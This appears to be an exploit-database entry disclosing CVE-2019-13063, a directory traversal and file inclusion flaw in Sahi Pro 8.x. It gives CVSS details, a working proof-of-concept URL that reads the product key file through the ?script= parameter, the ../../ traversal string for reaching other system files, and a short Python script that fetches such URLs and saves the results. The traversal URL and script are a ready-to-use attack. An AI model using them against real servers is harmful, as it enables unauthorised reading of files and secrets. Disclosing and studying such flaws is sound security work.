Sahi pro 8.x Directory Traversal

2019.07.12
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

# Exploit Title: Sahi pro (8.x) Directory traversal # Date: 25/06/2019 # Exploit Author: Alexander Bluestein # Vendor Homepage: https://sahipro.com/ # Software Link: https://sahipro.com/downloads-archive/ # Version: 8.0 # Tested on: Linux Ubuntu / Windows 7 # CVE: CVE-2019-13063 An issue was discovered in Safi-pro web-application, there is a directory traversal and both local and remote file inclusion vulnerability which resides in the ?script= parameter which is found on the Script_View page. And attacker can send a specially crafted URL to retrieve and steal sensitive files from teh victim. POC - http://10.0.0.167:9999/_s_/dyn/Script_view?script=/config/productkey.txt This results in the revealing of the applications product key. The ?script= can have ../../../../../ added to retrieve more files from the system POC tool - import argparse, requests, os #sahi_productkey = '/config/productkey.txt' #root_dir = '../../../../../../' #vuln_url = "http://10.0.0.167:9999/_s_/dyn/Script_view?script=" print("[x] Proof of concept tool to exploit the directory traversal and local file" " inclusion vulnerability that resides in the [REDACTED]\n[x] CVE-2019-xxxxxx\n") print("Example usage:\npython POC.y --url http://example:9999/_s_/dyn/Script_view?script=/config/productkey.txt") parser = argparse.ArgumentParser() parser.add_argument("--url", help='Specify the vulnerable URL') args = parser.parse_args() response = requests.get(args.url) file = open("output.txt", "w") file.write(response.text) file.close()


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